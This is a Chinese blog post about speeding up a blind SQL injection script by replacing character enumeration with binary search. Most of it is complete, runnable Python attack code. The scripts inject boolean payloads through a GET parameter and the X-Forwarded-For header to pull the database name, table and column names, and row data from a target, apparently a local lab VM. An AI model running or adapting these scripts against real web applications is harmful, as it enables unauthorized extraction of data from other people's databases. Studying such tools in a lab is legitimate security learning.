回顾
昨天晚上写了一个sql盲注的脚本,对数据是采用的枚举方法,简单跑了一下发现非常的慢,于是上网去找了一下别人的代码。
分析
网上的代码
def get_Current_DbName(self):
table_list = []
#二分法获取数据库名
Namelen = self.get_Current_Db_Len()
TempLen = 0
DbName = ""
try:
while(True):
temp_bottom = 33
temp_top = 126
while(True):
#当前ascii小于temp_top
payload = "?id=1%27+and+((ascii(substr(database(),{},1))) < {})--+".format(TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
# print(final_payload)
if self.word1 in result:
temp_top = (temp_top-ceil((temp_top-temp_bottom)/2))
#循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
interval = ceil((temp_top-temp_bottom)/2)
continue
#当前ascii大于temp_top
payload = "?id=1%27+and+((ascii(substr(database(),{},1))) > {})--+".format(TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
temp_bottom = temp_top
temp_top = temp_top + interval
continue
#当前ascii等于temp_top
payload = "?id=1%27+and+((ascii(substr(database(),{},1))) = {})--+".format(TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if interval == 0:
exit("unknown error about variable interval")
if self.word1 in result:
DbName += chr(temp_top)
print("Database_name:"+DbName)
TempLen += 1
break
if TempLen == Namelen:
table_list.append("Database_name:"+DbName)
break
except Exception as e:
print("Unknown error:",e)
return table_list
可以看到这就是一个二分算法,时间复杂度比我的枚举方法低了很多,但是对于sql注入来说,耗时最长的是网络请求部分,所以我们想要减少耗时的关键就在如何减少网络请求次数,即算法中的比较部分。
找学算法的同学帮忙
俺找到了学算法的同学,他给我发了一个链接
https://labuladong.github.io/ebook/%E7%AE%97%E6%B3%95%E6%80%9D%E7%BB%B4%E7%B3%BB%E5%88%97/%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE%E8%AF%A6%E8%A7%A3.html
这位大佬的文章写的很棒,我这种没学算法的菜鸡都能看得懂,
大佬真强
同学帮我写了一个比较次数少的代码
def binarySearch(url,payload,start,end):
left=start
right=end
mid=0
while left<right:
mid = (left+right)//2
if mid>=payload:
right=mid
else:
left=mid+1
return left
于是以这个为核心修改了我的代码
算法优化后
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import urllib
import math
import time
data="u=45345345&p=45345345&bianhao=1&a=1"
def binarySearch(url,payload,start,end):
left=start
right=end
while left<right:
mid=math.floor((left+right)/2)
xkey1=payload.format(mid)
headers = {'Content-Type': 'application/x-www-form-urlencoded','X-Forwarded-For': xkey1}
response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)
if response.status_code==200:
right=mid
else:
left=mid+1
return int(left)
def database_length(url):
xkey = "1' or (select length(database()))<={}#"
return binarySearch(url, xkey, 0, 100)
def database_name(url):
databasename = ''
aa = database_length(url)
for i in range(1, aa + 1):
xkey = "1' or ascii(substring(database(),%s,1))<={}#" % i
databasename += chr(binarySearch(url, xkey, 32, 126))
return databasename
def table_count(url, database):
xkey = "1' or (select count(table_name) from information_schema.tables where table_schema=" + "'" + database + "')" + "<={}#"
return binarySearch(url, xkey, 0, 100)
def table_length(url, a, database):
xkey = "1' or (select length(table_name) from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1)<={}#" % a
return binarySearch(url, xkey, 0, 100)
def table_name(url, database):
table_name = []
bb = table_count(url, database)
for i in range(0, bb):
user = ''
cc = table_length(url, i, database)
if cc == None:
break
for j in range(1, cc + 1):
xkey = "1' or ascii(substring((select table_name from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1),%s,1))<={}#" % (i, j)
user += chr(binarySearch(url, xkey, 32, 126))
table_name.append(user)
return table_name
def column_count(url, table_name):
xkey = "1' or (select count(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + ")<={}#"
return binarySearch(url, xkey, 0, 100)
def column_length(num, url, table_name):
limit = " limit %s,1)<={}" % num
xkey = "1' or (select length(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
return binarySearch(url, xkey, 0, 100)
def column_name(url, table_name):
column_name = []
dd = column_count(url, table_name)
for i in range(0, dd):
user = ''
bb = column_length(i, url, table_name)
if bb == None:
break
for j in range(1, bb + 1):
limit = " limit %s,1),%s,1))<={}" % (i, j)
xkey = "1' or ascii(substring((select column_name from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
user += chr(binarySearch(url, xkey, 32, 126))
column_name.append(user)
return column_name
def data_count(url, table,column):
xkey = "1' or (select count("+column+") from "+table+")<={}#"
return binarySearch(url, xkey, 0, 100)
def data_length(num, url, table,column):
limit = " limit %s,1)<={}" % num
xkey = "1' or (select length("+column+") from "+table+limit+"#"
return binarySearch(url, xkey, 0, 100)
def data_data(url, table,column):
data_data = []
dd = data_count(url, table,column)
for i in range(0, dd + 1):
user = ''
bb = data_length(i, url, table,column)
if bb == None:
break
for j in range(1, bb + 1):
limit = " limit %s,1),%s,1))<={}" % (i, j)
xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
user += chr(binarySearch(url, xkey, 32, 126))
data_data.append(user)
return data_data
def data_dataall(url, table,column,line,count):
user = ''
bb = data_length(line, url, table,column)
for j in range(0, bb + 1):
limit = " limit %s,1),%s,1))<={}" % (line, j)
xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
user += chr(binarySearch(url, xkey, 32, 126))
return user
if __name__ == '__main__':
one = float(time.time())
url = 'http://192.168.164.138/test.php'
databasename = database_name(url)
print "The current database:" + databasename
#database = raw_input("Please input your databasename: ")
database="test"
databasedata = {}
tables = table_name(url, database)
print database + " have the tables:",
print tables
for table in tables:
k={}
column1=[]
print table + " have the columns:"
column1=column_name(url, table)
for j in range(0, len(column1)):
k[j+1] = column1[j]
databasedata[table]=k
print column1
print(databasedata)
databasedata={'123': {1: 'id'}, 'book': {1: 'book_id', 2: 'price'}}
while 1:
print "请输入你要读取的表名"
#table = raw_input("Please input your table_name: ")
table="book"
if databasedata.has_key(table)!=False:
break
#column = raw_input("Please input your column_name: ")
column=""
if len(column)>0:
print column+"have the data:"
print data_data(url, table, column)
else:
count=data_count(url, table, databasedata[table][1])
print "count="+str(count)
dataline="count "
for i in range(0, len(databasedata[table])):
dataline=dataline+databasedata[table][i+1]+" "
print dataline
for line in range(0,count):
dataline=str(line)+" "
for i in range(0, len(databasedata[table])):
dataline+=data_dataall(url, table, databasedata[table][i+1], str(line), count)+" "
print dataline
two = float(time.time())
interval = two - one
print(interval)
算法优化前
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import urllib
import time
data="u=45345345&p=45345345&bianhao=1&a=1"
def database_length(url):
for i in range(1, 100):
xkey = "1' or (select length(database()))=%s#" % i
headers = {'Content-Type': 'application/x-www-form-urlencoded','X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)
#print(response)
if response.status_code==200:
return i
def database_name(url):
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
databasename = ''
aa = database_length(url)
for i in range(1, aa + 1):
for payload in payloads:
xkey = "1' or ascii(substring(database(),%s,1))=%s#" % (i, ord(payload))
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)
if response.status_code==200:
databasename += payload
break
return databasename
def table_count(url, database):
for i in range(1, 100):
xkey = "1' or (select count(table_name) from information_schema.tables where table_schema=" + "'" + database + "')" + "=%s#" % i
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
if response.status_code==200:
return i
def table_length(url, a, database):
for i in range(1, 100):
xkey = "1' or (select length(table_name) from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1)=%s#" % (a, i)
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
if response.status_code==200:
return i
def table_name(url, database):
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
table_name = []
bb = table_count(url, database)
for i in range(0, bb + 1):
user = ''
cc = table_length(url, i, database)
if cc == None:
break
for j in range(0, cc + 1):
for payload in payloads:
xkey = "1' or ascii(substring((select table_name from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1),%s,1))=%s#" % (i, j, ord(payload))
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
if response.status_code==200:
user += payload
break
# print payload
table_name.append(user)
return table_name
def column_count(url, table_name):
for i in range(1, 100):
xkey = "1' or (select count(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + ")=%s#" % i
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
if response.status_code==200:
return i
def column_length(num, url, table_name):
for i in range(1, 100):
limit = " limit %s,1)=%s" % (num, i)
xkey = "1' or (select length(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
if response.status_code==200:
return i
def column_name(url, table_name):
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
column_name = []
dd = column_count(url, table_name)
for i in range(0, dd + 1):
user = ''
bb = column_length(i, url, table_name)
if bb == None:
break
for j in range(0, bb + 1):
for payload in payloads:
limit = " limit %s,1),%s,1))=%s" % (i, j, ord(payload))
xkey = "1' or ascii(substring((select column_name from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
if response.status_code==200:
user += payload
break
column_name.append(user)
return column_name
def data_count(url, table,column):
for i in range(1, 100):
xkey = "1' or (select count("+column+") from "+table+")=%s#" % i
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
if response.status_code==200:
return i
def data_length(num, url, table,column):
for i in range(1, 100):
limit = " limit %s,1)=%s" % (num, i)
xkey = "1' or (select length("+column+") from "+table+limit+"#"
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
if response.status_code==200:
return i
def data_data(url, table,column):
payloads = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@_.'
data_data = []
dd = data_count(url, table,column)
for i in range(0, dd + 1):
user = ''
bb = data_length(i, url, table,column)
if bb == None:
break
for j in range(0, bb + 1):
for payload in payloads:
limit = " limit %s,1),%s,1))=%s" % (i, j, ord(payload))
xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
if response.status_code==200:
user += payload
break
data_data.append(user)
return data_data
def data_dataall(url, table,column,line,count):
payloads = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@_.'
user = ''
bb = data_length(line, url, table,column)
for j in range(0, bb + 1):
for payload in payloads:
limit = " limit %s,1),%s,1))=%s" % (line, j, ord(payload))
xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
if response.status_code==200:
user += payload
break
return user
if __name__ == '__main__':
one = float(time.time())
url = 'http://192.168.164.138/test.php'
databasename = database_name(url)
print "The current database:" + databasename
#database = raw_input("Please input your databasename: ")
database="test"
databasedata = {}
tables = table_name(url, database)
print database + " have the tables:",
print tables
for table in tables:
k={}
column1=[]
print table + " have the columns:"
column1=column_name(url, table)
for j in range(0, len(column1)):
k[j+1] = column1[j]
databasedata[table]=k
print column1
print(databasedata)
databasedata={'123': {1: 'id'}, 'book': {1: 'book_id', 2: 'price'}}
while 1:
print "请输入你要读取的表名"
#table = raw_input("Please input your table_name: ")
table ="book"
if databasedata.has_key(table)!=False:
break
#column = raw_input("Please input your column_name: ")
column=""
if len(column)>0:
print column+"have the data:"
print data_data(url, table, column)
else:
count=data_count(url, table, databasedata[table][1])
print "count="+str(count)
dataline="count "
for i in range(0, len(databasedata[table])):
dataline=dataline+databasedata[table][i+1]+" "
print dataline
for line in range(0,count):
dataline=str(line)+" "
for i in range(0, len(databasedata[table])):
dataline+=data_dataall(url, table, databasedata[table][i+1], str(line), count)+" "
print dataline
two = float(time.time())
interval = two - one
print(interval)
验证效果
这里使用本地的虚拟机来进行测试,防止其他网络请求的干扰
数据表结构
优化前耗时
优化后耗时
可以看出来差距是很大的,虽然只跑了两个md5,但是时间对比是非常明显的
果然算法是基础。害